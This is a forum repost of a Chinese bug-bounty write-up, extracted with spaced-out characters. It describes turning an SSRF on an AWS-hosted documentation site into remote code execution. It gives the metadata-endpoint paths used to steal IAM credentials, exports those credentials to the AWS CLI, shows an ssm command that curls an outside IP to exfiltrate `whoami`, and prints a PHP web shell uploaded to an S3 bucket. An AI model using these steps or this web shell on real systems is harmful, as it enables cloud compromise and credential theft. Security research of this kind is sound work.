搜索

[13933] 2019-03-31_使用SSRF泄漏云环境中的Metadata数据实现RCE

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-03-31_使用SSRF泄漏云环境中的Metadata数据实现RCE 使 用 S S R F 泄 漏 云 环 境 中 的 M e t a d a t a 数 据 实 现 R C E s e c i s t   F r e e B u f   2 0 1 9 - 0 3 - 3 1 本 文 我 将 向 大 家 分 享 一 个 新 的 非 常 有 意 思 的 漏 洞 。 利 用 该 漏 洞 可 以 为 我 们 泄 漏 云 环 境 中 的 本 文 我 将 向 大 家 分 享 一 个 新 的 非 常 有 意 思 的 漏 洞 。 利 用 该 漏 洞 可 以 为 我 们 泄 漏 云 环 境 中 的 M e t a d a t a 数 据 ， 并 进 数 据 ， 并 进 一 步 的 实 现 远 程 代 码 执 行 （ 一 步 的 实 现 远 程 代 码 执 行 （ R C E   ） 。 ） 。 测 试 范 围 测 试 范 围 在 对 该 站 点 进 行 子 域 枚 举 时 ， 我 找 到 了 [ d o c s . r e d a c t . c o m ] 这 个 子 域 。 查 找 带 外 资 源 加 载 查 找 带 外 资 源 加 载 [ d o c s ] 子 域 名 显 示 了 一 些 文 档 和 统 计 信 息 在 点 击 统 计 数 据 的 照 片 时 ， 我 看 到 了 一 些 奇 怪 的 链 接 ： 我 想 到 的 第 一 件 事 就 是 将 [ u r l ] 的 值 改 为 g e n e r a l e g 0 x 0 1 . c o m
然 后 ， 我 注 意 到 了 [ m i m e T y p e ] 参 数 并 编 辑 更 改 了 链 接 ， 如 下 ： 到 目 前 为 止 它 只 是 [ 带 外 资 源 加 载 ] 验 证 验 证   S S R F 当 我 查 看 B u r p S u i t e 中 的 请 求 / 响 应 时 我 注 意 到 了 响 应 头 [ X - A m z - C f - I d ] 所 以 ， 当 前 的 环 境 应 该 是 A W S 。 我 们 需 要 确 保 S S R F 在 这 里 可 以 正 常 利 用 。 正 如 我 们 所 知 ， [ 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 ] 是 E C 2 实 例 的 本 地 I P 地 址 。 让 我 们 尝 试 通 过 导 航 到 [   l a t e s t / m e t a - d a t a / ] 来 访 问 元 数 据 文 件 夹 。 h t t p s : / / d o c s . r e d a c t . c o m / r e p o r t / a p i / v 2 / h e l p / a s s e t ? u r l = h t t p s : / / g e n e r a l e g 0 x 0 1 . c o m & m i m e T y p e = t e x t / h t m l & t = R E D A C T E D . J W T . T O K E N & a d v e r t i s e r I d = 1 1
S S R F 被 确 认 。 让 我 们 通 过 导 航 到 [ / l a t e s t / m e t a - d a t a / i a m / s e c u r i t y - c r e d e n t i a l s / ] 来 检 查 我 们 当 前 的 角 色 。 可 以 看 到 当 前 为 ： a w s - e l a s t i c b e a n s t a l k - e c 2 - r o l e 什 么 是 什 么 是   A W S   E l a s t i c   B e a n s t a l k   ？ ？ A W S   E l a s t i c   B e a n s t a l k 是 A W S 提 供 的 平 台 即 服 务 （ P a a S ） ， 用 于 部 署 和 扩 展 针 对 各 种 环 境 （ 如 J a v a ， . N E T ， P H P ， N o d e . j s ， P y t h o n ， R u b y 和 G o ） 开 发 的 W e b 应 用 程 序 。 它 会 自 动 处 理 部 署 ， 容 量 配 置 ， 负 载 均 衡 ， 自 动 扩 展 和 应 用 程 序 运 行 状 况 监 视 。 抓 取 所 需 数 据 抓 取 所 需 数 据 1 ） 转 到 [ / l a t e s t / m e t a - d a t a / i a m / s e c u r i t y - c r e d e n t i a l s / a w s - e l a s t i c b e a n s t a l k - e c 2 - r o l e / ] 获 取 [ A c c e s s K e y I d ， S e c r e t A c c e s s K e y ， T o k e n ]
2 ） 转 到 [ / l a t e s t / d y n a m i c / i n s t a n c e - i d e n t i t y / d o c u m e n t / ] 获 取 [ i n s t a n c e I d ， a c c o u n t I d ， r e g i o n ] 配 置 配 置   A W S   命 令 行 界 面 命 令 行 界 面 打 开 t e r m i n a l 终 端 ： ~ #   a p t   i n s t a l l   a w s c l i ~ #   e x p o r t   A W S _ A C C E S S _ K E Y _ I D = A c c e s s K e y I d ~ #   e x p o r t   A W S _ S E C R E T _ A C C E S S _ K E Y = S e c r e t A c c e s s K e y ~ #   e x p o r t   A W S _ D E F A U L T _ R E G I O N = r e g i o n ~ #   e x p o r t   A W S _ S E S S I O N _ T O K E N = T o k e n
获 取 [ U s e r I D ] S S R F 利 用 得 很 好 ， 现 在 让 我 们 进 一 步 的 漏 洞 挖 掘 ， 看 看 能 否 将 其 升 级 为 威 胁 性 更 大 的 “ R C E ” 从 从   S S R F   到 到   R C E 我 尝 试 了 一 些 潜 在 的 利 用 场 景 。 通 过 [ s s m   s e n d - c o m m a n d ] 发 送 命 令 失 败 之 后 我 研 究 尝 试 使 用 了 A W S   S y s t e m s   M a n a g e r   [ s s m ]   命 令 。 但 该 角 色 无 权 执 行 此 命 令 。 我 希 望 使 用 a w s   s s m   s e n d - c o m m a n d 来 实 现 漏 洞 升 级 。 但 显 示 调 用 S e n d C o m m a n d 操 作 时 发 生 错 误 （ A c c e s s D e n i e d E x c e p t i o n ） 。 通 过 [ S S H ] 升 级 漏 洞 同 样 失 败 ， S S H 端 口 已 关 闭 。 通 过 [ U p l o a d i n g   B a c k d o o r ] 成 功 ！ 尝 试 读 取 [ S 3   B u c k e t ] 的 内 容 ： 尝 试 使 用 A W S   C L I 运 行 多 个 命 令 从 A W S 实 例 检 索 信 息 。 但 由 于 安 全 策 略 的 原 因 ， 对 大 多 数 命 令 的 访 问 被 拒 绝 。 ~ #   a w s   s t s   g e t - c a l l e r - i d e n t i t y ~ #   a w s   s s m   s e n d - c o m m a n d   – i n s t a n c e - i d s   “ i n s t a n c e I d ”   – d o c u m e n t - n a m e   “ A W S - R u n S h e l l S c r i p t ”   – c o m m e n t   “ w h o a m i ”   – p a r a m e t e r s   c o m m a n d s = ’ c u r l   1 2 8 . 1 9 9 . x x . x x : 8 0 8 0 / ` w h o a m i ` ’   – o u t p u t   t e x t   – r e g i o n = r e g i o n A n   e r r o r   o c c u r r e d   ( A c c e s s D e n i e d E x c e p t i o n )   w h e n   c a l l i n g   t h e   S e n d C o m m a n d   o p e r a t i o n :   U s e r :   a r n : a w s : s t s : : 7 6 5 x x x x x x x x x : a s s u m e d - r o l e / a w s - e l a s t i c b e a n s t a l k - e c 2 - r o l e / i - 0 0 7 x x x x x x x x x x x x x x   i s   n o t   a u t h o r i z e d   t o   p e r f o r m :   s s m : S e n d C o m m a n d   o n   r e s o u r c e :   a r n : a w s : e c 2 : u s - e a s t - 1 : 7 6 5 x x x x x x x x x : i n s t a n c e / i - 0 0 x x x x x x x x x x x x x x ~ #   a w s   s 3   l s A n   e r r o r   o c c u r r e d   ( A c c e s s D e n i e d )   w h e n   c a l l i n g   t h e   L i s t B u c k e t s   o p e r a t i o n :   A c c e s s   D e n i e d
经 过 仔 细 研 究 后 我 发 现 ， 托 管 策 略 “ A W S E l a s t i c B e a n s t a l k W e b T i e r ” 只 允 许 访 问 名 称 以 “ e l a s t i c b e a n s t a l k ” 开 头 的 S 3 b u c k e t s 。 为 了 访 问 S 3   b u c k e t ， 我 们 将 使 用 之 前 抓 取 的 数 据 ， 格 式 如 下 ： 现 在 ， b u c k e t 名 称 为 “ e l a s t i c b e a n s t a l k - u s - e a s t - 1 - 7 6 x x x x x x x x 0 0 ” 。 让 我 们 以 递 归 方 式 列 出 “ e l a s t i c b e a n s t a l k - u s - e a s t - 1 - 7 6 x x x x x x x x 0 0 ” 的 b u c k e t 资 源 ， 我 们 使 用 A W S   C L I 来 执 行 此 任 务 ： 现 在 ， 让 我 们 尝 试 上 传 一 个 后 门 ！ 上 传 ： 我 们 成 功 将 漏 洞 升 级 为 了 R C E ！ e l a s t i c b e a n s t a l k - r e g i o n - a c c o u n t - i d ~ #   a w s   s 3   l s   s 3 : / / e l a s t i c b e a n s t a l k - u s - e a s t - 1 - 7 6 x x x x x x x x 0 0 /   – r e c u r s i v e ~ #   c a t   c m d . p h p < ? p h p   i f ( i s s e t ( $ _ R E Q U E S T [ ' c m d ' ] ) ) {   e c h o   " < p r e > " ;   $ c m d   =   ( $ _ R E Q U E S T [ ' c m d ' ] ) ;   s y s t e m ( $ c m d ) ;   e c h o   " < / p r e > " ;   d i e ;   } ? > ~ #   a w s   s 3   c p   c m d . p h p   s 3 : / / e l a s t i c b e a n s t a l k - u s - e a s t - 1 - 7 6 x x x x x x x x 0 0 / . / c m d . p h p   t o   s 3 : / / d o c s . r e d a c t . c o m / c m d . p h p
简 而 言 之 简 而 言 之 将 S S R F 升 级 到 R C E 的 方 法 很 多 ， 但 这 主 要 取 决 于 你 的 目 标 环 境 。 * 参 考 来 源 ： 参 考 来 源 ： g e n e r a l e g 0 x 0 1 ， ， F B 小 编 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理